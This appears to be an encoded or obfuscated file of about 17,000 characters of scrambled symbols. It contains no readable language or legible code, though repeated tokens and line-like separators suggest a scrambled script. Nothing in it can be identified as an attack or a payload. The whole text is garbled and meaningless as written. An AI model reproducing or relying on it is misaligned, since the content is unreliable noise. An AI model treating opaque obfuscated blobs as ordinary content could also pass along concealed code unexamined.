6ieee*0*)-&#77 -u|&,ma++&0*6#1ru?lllee>O17.s-rs}w1.3'qma*<v'$)'5$| 6ieemvpvnsrll~Oe3t6<p=,(t?0=|? +!<6|ma*<v'$)'5$| 6l~Oeeeeeee1&s?222)1$ (10)r+3?ma*<v'$)'5$| 6l~OOOe8Oeee8eee )6 ,#eeemda*6u(/1(./"|)w}<'leee>Oa6(r-u|v#3su eeeexeee0!(7.u=/&.(.mtrswlma*<v'$)'5$| 6l~OOOeeeee,#eemda6(r-u|v#3su eee99eeema6(r-u|v#3su ee`eeeem|||runvulleedxxe/$v/7?qq 0|<!<|$mlle3t6<p=,(t?0=|? +!<6|ma*<v'$)'5$| 6l~Oeeee0+6 1ma6(r-u|v#3su l~Oe8O0+6 1ma/?u&$.(*2vieeea*6u(/1(./"|)w}<'l~Oe8OOOOeee+)p67(' !-7/71ma++&0*6#1ru?l~Oe8e&$1&-eeeem-7*2$') eea=w}=)'/7<3/leee>Oeeeeeee="!24p3/qt!$s631p2',pm?|?!)+'qtu++mwwqplieea=w}=)'/7<3/l~Oeeeeee8e&$1&-eeeeem =& 51,*+eeea=w}=)'/7<3/le>OOOeeeeeeee8OOOOe8O#0+&1,*+eeee&5rr=#0 /**qrv$4'mlOeeeee>Oeeeeeee,#eemd,66 1ma b5bleee99ed0!(7.u=/&.(.mwwutlma b5bllee7 107+~OOeeea2=(3 uv/15exeea b5b~Oeeeee,#eeeema2=(3 uv/15exxxe&s,*2p0r+|w#.-}p!<=m=w7ru&0,2#3mwwqsllleee>Oeeeee17<e>Oeea'+|6*r6s6.!t|".eeexe)!r7q}$#qrwq+&#6,#6,'mleeekeeeebjbeeekeeee!5} }=v42/31wmeke=w7ru&0,2#3mwwqsliemvtwvllekee0!(7.u=/&.(.mwwvwl~OOeea=|!?&v+()exee=w7ru&0,2#3mwwqrlma'+|6*r6s6.!t|".leezem,+1le0!(7.u=/&.(.mwwq}lma'+|6*r6s6.!t|".leeeeu~O,#ema=|!?&v+()ee{eeemu='&nu=tv}leecceeeea=|!?&v+()eeyxeeeeeem}|tqpqvhvsrtssvllee>O,+&)0! eea'+|6*r6s6.!t|".~O8OOOeeee8e&$1&-eeeeem-7*2$') eea=w}=)'/7<3/lee>Oe8e&$1&-em =& 51,*+eeeeeea=w}=)'/7<3/le>O8Oe2-,) eem=w7ru&0,2#3mqqulmle{eeueeeeeecceeeee*' +!&) $+mllee>Oeeeeeee8O- $! 7m=}p-/*"'(=r+3mwwq|ll~Oee =,1~O8O,#eema2=(3 uv/15eeedxxe&s,*2p0r+|w#.-}p!<=m=w7ru&0,2#3mtv|sllle7 107+~OOOOee17<e>OOeee,#eeeem=w7ru&0,2#3mwwqtlm?|?!)+'qtu++mwwpulleccee=w7ru&0,2#3mwwptlm=}p-/*"'(=r+3mwwqwllle>Oe05!$1 *51,*+m?|?!)+'qtu++mpqplieem,+1lee" 1*51,*+m=w7ru&0,2#3mwwpwlieeeeuleeneeetieeeee=}p-/*"'(=r+3mwwpvll~OO05!$1 *51,*+m0!(7.u=/&.(.mwwpqliee0!(7.u=/&.(.mwwt}lmliee0!(7.u=/&.(.mwwpvll~OOeeeeeeee8OOOOea)<p-/vq}=7w6q4 !exeeeee!r)v'-|<70,+r1m?|?!)+'qtu++mtv}}lieeeggl~Oee,#eeeeem=w7ru&0,2#3mwwpplma)<p-/vq}=7w6q4 !le{emtwthwtlecceed=}p-/*"'(=r+3mwutulm=}p-/*"'(=r+3mwwpsliea)<p-/vq}=7w6q4 !leeecce?|?!)+'qtu++mwutulm=w7ru&0,2#3mwwprlieea)<p-/vq}=7w6q4 !llee>OOOa- 06'-+qs&?v,eexe?|?!)+'qtu++mwwvslma)<p-/vq}=7w6q4 !iee170 l~OOOOe,#eeeeema- 06'-+qs&?v,eeeeeedxxeeeeee#$)6 eeecceeee=}p-/*"'(=r+3mwwpplma- 06'-+qs&?v,leee{eemtq}hq}llea)<p-/vq}=7w6q4 !exeea- 06'-+qs&?v,~Oe8Oee,#eeeem=}p-/*"'(=r+3mwwpplma)<p-/vq}=7w6q4 !leeeeyeeemu=vwnu=vwlleeeea)<p-/vq}=7w6q4 !exee"1p4*u(w' $'u-<<q<2 ml~OOOOeeeeee,#eem=}p-/*"'(=r+3mwwp}lma)<p-/vq}=7w6q4 !leeeeyeeemr}nwwlle>Oeeeeeee2-,) eem=}p-/*"'(=r+3mqqulmle{eeeueccee*' +!&) $+mlleee>Oee8Oeeee- $! 7m0!(7.u=/&.(.mwwp|ll~Oeeeeeeee- $! 7m?|?!)+'qtu++mwwsull~Oee- $! 7m=}p-/*"'(=r+3mwwstll~O =,1~Oe8Oa)+-s.3,u=/))#eeexe!r)v'-|<70,+r1m=w7ru&0,2#3mtv}ulieeeeeeggl~Oeeeeea+p5)v&+"q|.w&&exeebgbeeke0!(7.u=/&.(.mwtswlma)+-s.3,u=/))#eeekeea)<p-/vq}=7w6q4 !lekeeeebgb~Oee,#em,66 1ma  =}p-/*"'(=r+3mwwswlleccee?|?!)+'qtu++mt|qulma  ?|?!)+'qtu++mwwswlleeeexxxeeeea+p5)v&+"q|.w&&le>O2-,) em=w7ru&0,2#3mqqulmle{eeueecce*' +!&) $+mlle>OOOeee8Oeee- $! 7m0!(7.u=/&.(.mwwsvll~Oeee- $! 7m=w7ru&0,2#3mwwsqleekeeea+p5)v&+"q|.w&&l~O =,1~Oe8O2-,) eeem=}p-/*"'(=r+3mqqulmle{eeeeueccee*' +!&) $+mlleeeee>Oeeeeee8O- $! 7m?|?!)+'qtu++mwwp|ll~Oee- $! 7m=}p-/*"'(=r+3mwwspll~O- $! 7m=}p-/*"'(=r+3mwwssll~OOO- $! 7m0!(7.u=/&.(.mwwsqleeekeeea+p5)v&+"q|.w&&l~Oe &-*eea)+-s.3,u=/))#eekeeeeea)<p-/vq}=7w6q4 !~Oeee =,1~Oeeee8ee&$1&-eeeem-7*2$') eeea=w}=)'/7<3/leeeee>OOOe="!24p3/qt!$s631p2',pm=}p-/*"'(=r+3mwwsrliea=w}=)'/7<3/l~OO8e&$1&-em =& 51,*+eeea=w}=)'/7<3/le>Oeeee="!24p3/qt!$s631p2',pm?|?!)+'qtu++mwwsrlieeea=w}=)'/7<3/l~Oeeee8Oee8Oee&5rr=#0 /**qrv$4'ml~Oeeeeeee#0+&1,*+e+qp rq*,s6s'-)t}!)mlOeeeeeee>Oe,#eemd,66 1ma ?|?!)+'qtu++mwws}llle7 107+~Oeeeee17<eee>OOOeeea/u711=v*p<!eeexea =}p-/*"'(=r+3mwws|l~OOOOe,#emd=}p-/*"'(=r+3mwwrulma/u711=v*p<!lee99eeeeea/u711=v*p<!eeeeeexxxegglee7 107+~Oeeeea/u711=v*p<!eeeeeexee=w7ru&0,2#3mtwrvlma/u711=v*p<!l~Oeea"q&#'?|45-'/eexeeee$77$<ml~Oeee,#eem=}p-/*"'(=r+3mwwptlm?|?!)+'qtu++mwwrtllleeeea"q&#'?|45-'/exeeeeem617,+"lee=w7ru&0,2#3mtvsvlm-*( 07)mlieee	
l~O,#em=}p-/*"'(=r+3mwwptlm=}p-/*"'(=r+3mwwpulllee>Oea6s 23v.v-?peeexeeem617,+"leeee" 1*51,*+m=w7ru&0,2#3mswrlieeggl~Oe,#eeeeeema6s 23v.v-?peeedxxeeeggleeea"q&#'?|45-'/eeexem617,+"leee=w7ru&0,2#3mtvsvlma6s 23v.v-?pieee	
l~Oe8O,#em,66 1ma  ?|?!)+'qtu++msw|llleeeeea"q&#'?|45-'/eeexeem617,+"leeeea  =}p-/*"'(=r+3mwwrwl~Oeeeeea"q&#'?|45-'/eexeeee4q}?"|6#6#&+=|mggl~Oeeea.. .,,6rqt5p1*7eeeexee#$)6 ~Oee#*7 $&-eem=w7ru&0,2#3mwuu|lma"q&#'?|45-'/leeee$6ea'r,|v}uv <r4lee>Oe,#eeeemd0!(7.u=/&.(.mwwrulma'r,|v}uv <r4lee99eeeeea'r,|v}uv <r4eexxxeeegglee&*+1,+0 ~Oe,#eeeeem=}p-/*"'(=r+3mwwuvlma'r,|v}uv <r4iebbleedxxe#$)6 leeeeea'r,|v}uv <r4eexee0!(7.u=/&.(.mwt}|lm0!(7.u=/&.(.mwwrvlieggiea'r,|v}uv <r4l~OOOee,#eeem!5} }=v42/31wm0!(7.u=/&.(.mtwrvlma'r,|v}uv <r4lekeee?|?!)+'qtu++mwwrqliem}q}}lleexxxea/u711=v*p<!leeee>Oeeea.. .,,6rqt5p1*7eeexee170 ~OOOO'7 $.~Oee8Oeeeeee8Oe,#emda.. .,,6rqt5p1*7leeeee7 107+~OOOOea+4?q2&u|-517eeexee=}p-/*"'(=r+3mwwrplm?|?!)+'qtu++mwwrsliemu=tunu= ll~OOOOea)762 1.teexe0*|6'ttsv/}=*'0m-u61+<(w= 5"200*+(qma+4?q2&u|-517ll~Oe2-,) eem=}p-/*"'(=r+3mqqulmle{eueeeccee*' +!&) $+mllee>Oe8Oeeee- $! 7m?|?!)+'qtu++mwwrrll~Oe- $! 7m=}p-/*"'(=r+3mwwr}ll~Oeeee &-*ema)762 1.teeexxxeeeeea+4?q2&u|-517leze=}p-/*"'(=r+3mwwr|leeekee=}p-/*"'(=r+3mwtswlma+4?q2&u|-517leeee?|?!)+'qtu++mww}ul~Oeeeee =,1~OOOOee8eeee&$1&-eem-7*2$') eeeeea=w}=)'/7<3/leee>OO="!24p3/qt!$s631p2',pm=}p-/*"'(=r+3mww}tlieeea=w}=)'/7<3/l~O8eeeee&$1&-eem =& 51,*+eeea=w}=)'/7<3/lee>OOOeee="!24p3/qt!$s631p2',pm=}p-/*"'(=r+3mww}tlieeeea=w}=)'/7<3/l~O8Oee8Oe+qp rq*,s6s'-)t}!)ml~Oe#0+&1,*+eee/t.})(2"up462<7v"mlOeeeeee>Oee17<ee>Oeeeeeee,#eeeem=}p-/*"'(=r+3mww}wlm=}p-/*"'(=r+3mww}vlllee7*&. 1&) $+!*($,+ml~Oeeeee,#em?|?!)+'qtu++mww}qlm0!(7.u=/&.(.mww}pllleee2v1&#)06-$))ml~O,#eeem0!(7.u=/&.(.mww}qlm?|?!)+'qtu++mp|ullleeeeee6"&$&- 57 66507" &$&- ml~OOOeeee,#em=}p-/*"'(=r+3mww}slm=}p-/*"'(=r+3mww}rlllee),1 65  !507" $))ml~OOOOeeeeeee )6 ,#em=w7ru&0,2#3mtupqlm=w7ru&0,2#3mww}}lleecceee=w7ru&0,2#3mww}|lm=}p-/*"'(=r+3mww|uliee0!(7.u=/&.(.mww|tllleee	,1 5  !$&- 507" $))ml~Oeeeee,#eeem?|?!)+'qtu++mtupqlm=}p-/*"'(=r+3mww|wlleeeeecceeee?|?!)+'qtu++mww|vlm0!(7.u=/&.(.mww|wlieeeee=}p-/*"'(=r+3mww|qllleee7  ? 07" $&- '7  ? &$&- #)06-ml~OOe,#eeeem0!(7.u=/&.(.mtupqlm?|?!)+'qtu++mww|pllecceee?|?!)+'qtu++mww|vlm=}p-/*"'(=r+3mww|slieeeee?|?!)+'qtu++mww|rlllee$&-  +$') 7&) $71*1$)&$&- ml~OOeeeee,#eem0!(7.u=/&.(.mww|}lm=}p-/*"'(=r+3mww||llleeee25#&&) $7$))&$&- ml~Oeee )6 ,#eeeem,66 1ma	
	=w7ru&0,2#3mwvuulleecceeeee=w7ru&0,2#3mwvutlma	
	?|?!)+'qtu++mwvuulleecceeee=}p-/*"'(=r+3mww|vlma	
	=}p-/*"'(=r+3mwvuwlieeee=}p-/*"'(=r+3mwvuvllleeeea	
	?|?!)+'qtu++mwvuwlh{! ) 1 $&- m170 l~O,#eeeem=}p-/*"'(=r+3mww|}lm?|?!)+'qtu++mwvuqllleeeee25&$&- &) $7&$&- ml~Oe,#em=w7ru&0,2#3mtupqlm=w7ru&0,2#3mwvuplleecce0!(7.u=/&.(.mww|vlm?|?!)+'qtu++mwvuslieee=w7ru&0,2#3mwvurllle$01*51,(,? $&- &) $7$))ml~O="!24p3/qt!$s631p2',pm=w7ru&0,2#3mwvu}lieee0!(7.u=/&.(.mwvu|ll~Oeee8e&$1&-eem-7*2$') eeea=w}=)'/7<3/le>O="!24p3/qt!$s631p2',pm0!(7.u=/&.(.mwvu}lieeeea=w}=)'/7<3/l~Oee8e&$1&-em =& 51,*+eea=w}=)'/7<3/leee>Oeeeeeee8Oe8OOOO#0+&1,*+e=q#s7&"! ( (,<smlOeeeeeeee>Oe,#eem?|?!)+'qtu++mww|}lm0!(7.u=/&.(.m|uqllecce,6$!(,+mllee7 107+eee170 ~Oee,#em?|?!)+'qtu++mww|}lm0!(7.u=/&.(.mwvtullecceee25!*,+"$/$=mlle7 107+eeee170 ~O,#eeem! #,+ !m=w7ru&0,2#3mwvttllecceeee   le7 107+eeee170 ~O,#eeeeeem! #,+ !m=}p-/*"'(=r+3mwvtwlleecce	  lee7 107+ee170 ~Oee,#eeeem=w7ru&0,2#3mwvtvlm?|?!)+'qtu++mwvtqlleecceeee,6#  !mlle7 107+eeee170 ~Oeee,#eem0!(7.u=/&.(.mwvtvlm?|?!)+'qtu++mwvtplleeeccee,67*'*16mlle7 107+eeeee170 ~Oeeeee,#em0!(7.u=/&.(.mwvtvlm=w7ru&0,2#3mwvtslleecce,66,1 ($56mlle7 107+ee170 ~Oe,#eeem0!(7.u=/&.(.mwvtvlm?|?!)+'qtu++mwvtrlleeeeeeccee,6&061*(,? 57 3, 2mlle7 107+eee170 ~Oee,#eem,66 1ma =w7ru&0,2#3mwvt}lleee99ee,66 1ma =w7ru&0,2#3mwvt|llee99eeee,66 1ma 0!(7.u=/&.(.mwvwulllee7 107+eeee170 ~Oeee7 107+eeeeee#$)6 ~Oe8Oe#0+&1,*+e+p$ s'5sw)w=7r2}?#,mlO>Oeeea0'#}$v1"'3(-eeeexeem,66 1ma	
	=}p-/*"'(=r+3mruslleccee=w7ru&0,2#3mwwrulma	
	0!(7.u=/&.(.mruslllezee=w7ru&0,2#3mt|qulma	
	?|?!)+'qtu++mruslleeeegg~Oeee,#eema0'#}$v1"'3(-eeexxxeeeggle7 107+eeeegg~OOOOeeea0'#}$v1"'3(-eexeee0!(7.u=/&.(.mtqutlm0!(7.u=/&.(.mwvwtlie=}p-/*"'(=r+3mwvwwlieeea0'#}$v1"'3(-l~Oa3q"256.65|.eeexee=w7ru&0,2#3mwvwvlm0!(7.u=/&.(.mwvwqlleezeem617,+"lee=}p-/*"'(=r+3mtvsvlm-*( 07)mlieee	
leeegg~OOOeea*'(00qu<1|uexe!5} }=v42/31wm=w7ru&0,2#3mtwrvlma3q"256.65|.lieemvnvll~OOeea<-<-q6 #,"#*& peexe=}p-/*"'(=r+3mwwqqlm=w7ru&0,2#3mwvwplma0'#}$v1"'3(-lieeeeuiemqnwll~Oeeeee7 107+eeg+y6&7,51e!$1$h6&xggeekeeeea*'(00qu<1|ueeeekeeebhbekeeea<-<-q6 #,"#*& pekegg{+geeekeea0'#}$v1"'3(-eeekeg+yj6&7,51{+ydhhe6&geekeea*'(00qu<1|ueekeeebhbeeeeekeeeea<-<-q6 #,"#*& pekeeegehh{+g~O8O#0+&1,*+eeeee</76! .q|10,t<'=07'6&)mlOe>Oe17<eeeee>Oe,#eeem=q#s7&"! ( (,<smlleee7 107+~Oa6$s,w*6*<05021eeexe+p$ s'5sw)w=7r2}?#,ml~O,#eeeeema6$s,w*6*<05021eeeeexxxeeeggleeeee7 107+~OOOeeeee &-*eea6$s,w*6*<05021~Oea	
	=w7ru&0,2#3mpv}lexeeeeee170 ~Oeeee,#eeeem=}p-/*"'(=r+3mwvwslm?|?!)+'qtu++mwwpulleeccee0!(7.u=/&.(.mwvwslm=w7ru&0,2#3mwvwrlleeeecceeee (51<ma	
	0!(7.u=/&.(.mwvw}llle>Oeeeeeea	
	=}p-/*"'(=r+3mwvw}lexeeeee170 ~Oea7=0w!&}4?vexeeem,+1leeee" 1*51,*+m=}p-/*"'(=r+3mpqwlieeeeul~OO,#em0!(7.u=/&.(.mwwt}lmlehea7=0w!&}4?ve{eeemu=s|nu=&vlleee05!$1 *51,*+m=w7ru&0,2#3mpqwlieeee=w7ru&0,2#3mwwt}lmliee=}p-/*"'(=r+3mwwpvll~O0+6 1ma7=0w!&}4?vl~Oeeee8OOOOee8eeeee&$1&-eeeeem-7*2$') eeeea=w}=)'/7<3/le>OOOOe="!24p3/qt!$s631p2',pm=}p-/*"'(=r+3mwvw|liea=w}=)'/7<3/l~O8e&$1&-em =& 51,*+eea=w}=)'/7<3/lee>Oeee8OOOOeeeee8O#0+&1,*+ee$vpps47<v/,p-0ma/=1-'s}-4.=}<(v6lOOOeeee>Oeeeeeee,#eeeeemd=}p-/*"'(=r+3mwwrulma/=1-'s}-4.=}<(v6lee99ea/=1-'s}-4.=}<(v6exxxeeggle7 107+eeea/=1-'s}-4.=}<(v6~Oee,#eeemd (51<ma	
	=}p-/*"'(=r+3mpv}llle7 107+ea/=1-'s}-4.=}<(v6~Oeea6$s,w*6*<05021eeexeeeee+p$ s'5sw)w=7r2}?#,ml~Oeeee,#eema6$s,w*6*<05021exxxegglee7 107+eea/=1-'s}-4.=}<(v6~Oe,#eeeem617,5*6ma/=1-'s}-4.=}<(v6ieeee?|?!)+'qtu++mwvvulleexxxe#$)6 eeeecceeee617,5*6ma/=1-'s}-4.=}<(v6iee?|?!)+'qtu++mwvvtlleeexxxeee#$)6 lee7 107+eea/=1-'s}-4.=}<(v6~Oea	
	0!(7.u=/&.(.mpv}lexee170 ~Oeea	
	=w7ru&0,2#3mpqulexeeeee170 ~Oeeea1|2)36#46},ueeexe617,5*6ma/=1-'s}-4.=}<(v6ieeeee=w7ru&0,2#3mwvvull~Oeee,#eema1|2)36#46},ueedxxee#$)6 lee>OOeee7 107+ee=}p-/*"'(=r+3mwvvwlma/=1-'s}-4.=}<(v6ieeeuieea1|2)36#46},uleekea6$s,w*6*<05021eeeekeee=}p-/*"'(=r+3mwvvwlma/=1-'s}-4.=}<(v6ieea1|2)36#46},ul~OO8O7 107+eea/=1-'s}-4.=}<(v6eeekea6$s,w*6*<05021~O8Oeee#0+&1,*+eee5&s?#7-7s=su|54mlOeeeee>OO17<e>Oeeee,#eem=q#s7&"! ( (,<smllee7 107+~Oee,#emd (51<ma	
	=}p-/*"'(=r+3mwvvvllle7 107+~Oeeeea0'#}$v1"'3(-exeeeem,66 1ma	
	0!(7.u=/&.(.mrusllecce=w7ru&0,2#3mwwrulma	
	?|?!)+'qtu++mrusllleeezeee?|?!)+'qtu++mt|qulma	
	=w7ru&0,2#3mruslleeegg~O,#eeema0'#}$v1"'3(-exxxeeegglee7 107+~Oeeeea	
	=}p-/*"'(=r+3mwvvqleexe170 ~O0!(7.u=/&.(.mwvvplm=w7ru&0,2#3mwvvsll~OOOeeeeee8e&$1&-eem-7*2$') ea=w}=)'/7<3/lee>Oe="!24p3/qt!$s631p2',pm0!(7.u=/&.(.mwvvrlieea=w}=)'/7<3/l~OOOOee8eeeeee&$1&-eeeeeem =& 51,*+eeeea=w}=)'/7<3/leeeeee>Oeee8OOeeee8OO#0+&1,*+e=!-+s#vq'sq2652"mlOee>Oeeeeee17<e>Oe,#eemd,6$!(,+mlecceeemd,66 1ma	
	=}p-/*"'(=r+3mwvv}lleee99eeea	
	?|?!)+'qtu++mwvv}leeeedxxee=}p-/*"'(=r+3mstsllle7 107+~OO,#eeem?|?!)+'qtu++mwvv|lm0!(7.u=/&.(.mwvqulleeeecced,666)mlle7 107+~Oeeeea5$$2,147u2)?teeexee!r)v'-|<70,+r1m=}p-/*"'(=r+3mtv}slieeggl~Oeeeea*'(00qu<1|ueeexeee!5} }=v42/31wmeeekee?|?!)+'qtu++mwvw|lieeempntll~OOOea"&$&"7u/wpw$=eeexe0!(7.u=/&.(.mwvqtl~O,#eeeema5$$2,147u2)?texxxeeggle>Oee,#eeeeem0!(7.u=/&.(.mwvv|lm?|?!)+'qtu++mwwpullecceeeem,+1le" 1*51,*+m=w7ru&0,2#3mppulieeeeeulle>Oeee05!$1 *51,*+m=}p-/*"'(=r+3mwvqwlieeuieee=w7ru&0,2#3mwvqvll~Oeea6q (t/<t/5<#q5eexeem617,+"lee" 1*51,*+m?|?!)+'qtu++mwvqqlieeggl~Oe &-*eeg+geke0!(7.u=/&.(.mwvqpleekea*'(00qu<1|uekeb{bOeeeekee=w7ru&0,2#3mwvqslOOeke=w7ru&0,2#3mwvqrlekea"&$&"7u/wpw$=m?|?!)+'qtu++mwvq}lleekeeeeee=}p-/*"'(=r+3mwvq|lOeeeke=}p-/*"'(=r+3mwvpuleeke=}p-/*"'(=r+3mtrpvlma6q (t/<t/5<#q5leeeeekeeeb~bOkeeeee0!(7.u=/&.(.mwvptlekea"&$&"7u/wpw$=m?|?!)+'qtu++mwvpwlleekeeee0!(7.u=/&.(.mwvpvlOeeeeeeeekeeee=}p-/*"'(=r+3mwvpqleeekeea"&$&"7u/wpw$=m=}p-/*"'(=r+3mwvpplleekee=}p-/*"'(=r+3mwvpsleekeeeeea"&$&"7u/wpw$=m0!(7.u=/&.(.mwvprlleeeeekee=}p-/*"'(=r+3mwvpslekeea"&$&"7u/wpw$=m0!(7.u=/&.(.mwvp}lleeeeeekeeee=}p-/*"'(=r+3mwvp|lekeeea"&$&"7u/wpw$=m=}p-/*"'(=r+3mwvsulleke=w7ru&0,2#3mwvstlOeeke0!(7.u=/&.(.mwvswleeeeeekeeea"&$&"7u/wpw$=m=w7ru&0,2#3mwvsvlleke=w7ru&0,2#3mwvsqleeeeekeeea"&$&"7u/wpw$=m=}p-/*"'(=r+3mwvsplleeeeekeee=}p-/*"'(=r+3mwvsslOeeke=}p-/*"'(=r+3mwvsrleeekeg+g~OO0+6 1ma6q (t/<t/5<#q5l~Oe8O7 107+~Oeeee8Oa5$$2,147u2)?teexee=}p-/*"'(=r+3mtqutlm=}p-/*"'(=r+3mtvpvlieee0!(7.u=/&.(.mwvs}lieeeea5$$2,147u2)?tl~O,#eem=}p-/*"'(=r+3mwvs|lma5$$2,147u2)?tie?|?!)+'qtu++mwvs}lleeeedxxeeuleeeeea5$$2,147u2)?texe0!(7.u=/&.(.mwvs}leeeke=}p-/*"'(=r+3mwvrulma5$$2,147u2)?tieeeeebjbl~Oeeeea/. &vuu*|0#5weeeeexeeebjb~OOee,#eeem?|?!)+'qtu++mwvv|lm?|?!)+'qtu++mwvwqllle>Oa*uq.'vsr,66exeem617,+"leee0!(7.u=/&.(.mtvsvlm-*( 07)mliee	l~OOOee,#eema*uq.'vsr,66eeedxxeggeecceeeea*uq.'vsr,66edxxeebjblea/. &vuu*|0#5weeexeee=}p-/*"'(=r+3mt|qrlma*uq.'vsr,66ieeeebjbleekeebjb~Oee8Oe,#eeem?|?!)+'qtu++mwvv|lm0!(7.u=/&.(.mwvrtlllee>Oe05!$1 *51,*+m=}p-/*"'(=r+3mwvqwlieeetiee0!(7.u=/&.(.mwvqvll~Oee05!$1 *51,*+m=}p-/*"'(=r+3mwvqqlieeeea5$$2,147u2)?tie=}p-/*"'(=r+3mwvqvll~O8Oeeeeea1rst0"s$$v-<v1exeeee0!(7.u=/&.(.mwvqplekeeeea*'(00qu<1|ueekeeeb{bOkeee0!(7.u=/&.(.mwvrwlOeekee=}p-/*"'(=r+3mwvqrleekea"&$&"7u/wpw$=m=}p-/*"'(=r+3mwvrvlleekee?|?!)+'qtu++mwvrqlOeeekeeee=}p-/*"'(=r+3mwvrplOeeke?|?!)+'qtu++mwvrsleekeea"&$&"7u/wpw$=m?|?!)+'qtu++mwvrrlleeeekeeeee?|?!)+'qtu++mwvr}leeeekee=w7ru&0,2#3mtrpvlma5$$2,147u2)?tleekeeblbOOOOeke=w7ru&0,2#3mwvr|leeeekeea"&$&"7u/wpw$=m=}p-/*"'(=r+3mwv}ulleeekeeee=w7ru&0,2#3mwv}tlekeeeeee=w7ru&0,2#3mwv}wlma5$$2,147u2)?tleeekeeeee?|?!)+'qtu++mwv}vleeekee=}p-/*"'(=r+3mwv}qlma/. &vuu*|0#5wlekeeee0!(7.u=/&.(.mwv}plekeeeea"&$&"7u/wpw$=m?|?!)+'qtu++mwvsplleekee=}p-/*"'(=r+3mwv}slOOOOekeeee=w7ru&0,2#3mwv}rleeekeeeeea"&$&"7u/wpw$=m?|?!)+'qtu++mwvsplleekeee0!(7.u=/&.(.mwv}}lOOeeeekeee0!(7.u=/&.(.mwvrslekeea"&$&"7u/wpw$=m=w7ru&0,2#3mwv}|lleeeeke?|?!)+'qtu++mwv|uleekea"&$&"7u/wpw$=m=w7ru&0,2#3mtp|lleekee?|?!)+'qtu++mwv|tlOOOOeeekee=w7ru&0,2#3mwv|wleeekeea"&$&"7u/wpw$=m0!(7.u=/&.(.mwv|vlleke0!(7.u=/&.(.mwvrqlOekeee=w7ru&0,2#3mwv|qlOeeeke=}p-/*"'(=r+3mwvrsleekeeeea"&$&"7u/wpw$=m=w7ru&0,2#3mwv|plleeke0!(7.u=/&.(.mwv|slOeeeeeeeekee?|?!)+'qtu++mwv|rleekea"&$&"7u/wpw$=m=}p-/*"'(=r+3mwvpplleekee?|?!)+'qtu++mwv|}lekeeeea"&$&"7u/wpw$=m?|?!)+'qtu++mwv||llekeeeeee?|?!)+'qtu++mwquulOeeeeekee0!(7.u=/&.(.mwvsrl~Oeeeeee &-*eeeeg+gekeea1rst0"s$$v-<v1eekeeeeeg+g~O8ee&$1&-eeeeeem-7*2$') eeea=w}=)'/7<3/leee>Oee="!24p3/qt!$s631p2',pm0!(7.u=/&.(.mwqutlieea=w}=)'/7<3/l~OOOe8eee&$1&-em =& 51,*+eea=w}=)'/7<3/le>Oee="!24p3/qt!$s631p2',pm0!(7.u=/&.(.mwquwlieea=w}=)'/7<3/l~OOOOeee8OOOOeeeeeee8OOOeeOO,#eeeem(s=r<&pv/,p#s$06?<#mlleeee>Oee7 107+~Oe8Oeeee'10-|61/-1!t$54ml~Oa)p/r5p'/$#/eexeee=}p-/*"'(=r+3mwquvlm.!*q3ww&t$ 5+*7'&rmll~Oeee,#eemda)p/r5p'/$#/eee99ema)p/r5p'/$#/ee`eeem|||v}nswlleeeedxxeee/$v/7?qq 0|<!<|$mlleeee>OOOOea,6&v=.0t&7eeeeexeeeee0!(7.u=/&.(.mwwt}lml~Oe6qp1/"3/r)3u0v.w,|m.!*q3ww&t$ 5+*7'&rmliema,6&v=.0t&7eeheema,6&v=.0t&7eeee`eeem|||rrnwvllleeenee/$v/7?qq 0|<!<|$mll~Oe0+6 1ma,6&v=.0t&7l~Oe8OOeeee0+6 1ma)p/r5p'/$#/l~Oe17<e>Oa7p0,&"-')$vr70}+exeee	 ~Oeea!s #5rq<q((}6(eeeexegg~Oeea )7s+q|}'6716 teeeeeexe?|?!)+'qtu++mwwv|lma7p0,&"-')$vr70}+iee#$)6 ieeeee+0))ieuieeeeeemu=rrsnu=}}$ll~OOOOeeeeee,#eeeem0!(7.u=/&.(.mwwrulma )7s+q|}'6716 tlecceeee=}p-/*"'(=r+3mwutulm=}p-/*"'(=r+3mrplieea )7s+q|}'6716 tieeea u$|(ss2",|wlleeeea!s #5rq<q((}6(eexea u$|(ss2",|wt~OOOOeeee,#ema!s #5rq<q((}6(eedxxeeeggecce! #,+ !m=w7ru&0,2#3mwtrtllle>Oea631=!070pp&exe$77$<ml~Oeeeeea4/!*"=-teeeeeexeeeee! #,+ !m=}p-/*"'(=r+3mwquqlleeeezee	eeeee
 ekee?|?!)+'qtu++mtss|l~Oeeea#*u1w#&)30eexee! #,+ !m0!(7.u=/&.(.mwquplleeeezee	eeee
 eeeeeekeeeee?|?!)+'qtu++mwqusl~Oeeea*w&q!<|-'/eexeee#$)6 ~Oe,#em=w7ru&0,2#3mwqurlm=w7ru&0,2#3mwttvllleeeee>Oeea"??q*66s1$v?(eeeeexeee?|?!)+'qtu++mwwtqlma4/!*"=-tleezeeee?|?!)+'qtu++mwttvlma4/!*"=-teke=}p-/*"'(=r+3mwqu}lleee#$)6 ~OOOea-+(60=p**6#))eexeeeeee?|?!)+'qtu++mwqu|lma#*u1w#&)30eeeeke0!(7.u=/&.(.mq|qll~OOOe,#eem=w7ru&0,2#3mwtqvlma"??q*66s1$v?(le99e=w7ru&0,2#3mwqtulma-+(60=p**6#))lleee>Oea*w&q!<|-'/eeeexeeeeee170 ~O#*7 $&-emm$77$<leeeeea"??q*66s1$v?(eeee$6eea37$4 17p+leeeea631=!070pp&eeeeexeea37$4 17p+~OO#*7 $&-emm$77$<leea-+(60=p**6#))eeee$6ea37$4 17p+lea631=!070pp&exeea37$4 17p+~O8OOe0+6 1ma"??q*66s1$v?(ieeea-+(60=p**6#))l~OOe8Oeeeeee,#eemda*w&q!<|-'/leeeee>Oeeeea1})3/t1u1s'50eexee=}p-/*"'(=r+3mwwtqlma4/!*"=-tlezeee*r=0p)/}!?|)1??/#qsma4/!*"=-tleeeee#$)6 ~OOOO,#eeeeem?|?!)+'qtu++mwqtulma1})3/t1u1s'50lleeee#*7 $&-eema1})3/t1u1s'50ee$6eea1/"1p"r5p#plee>Oe,#eeem=}p-/*"'(=r+3mwqttlma1/"1p"r5p#pieehmu=tnu=vlleexxxe0!(7.u=/&.(.mwwvwlleea631=!070pp&exea4/!*"=-teeeekebjbekea1/"1p"r5p#p~O8Oeeeea1})3/t1u1s'50eeeexeee=}p-/*"'(=r+3mwwtqlma#*u1w#&)30leeezeee*r=0p)/}!?|)1??/#qsma#*u1w#&)30leeeeeeeee#$)6 ~O,#eeeem0!(7.u=/&.(.mwqtulma1})3/t1u1s'50llee#*7 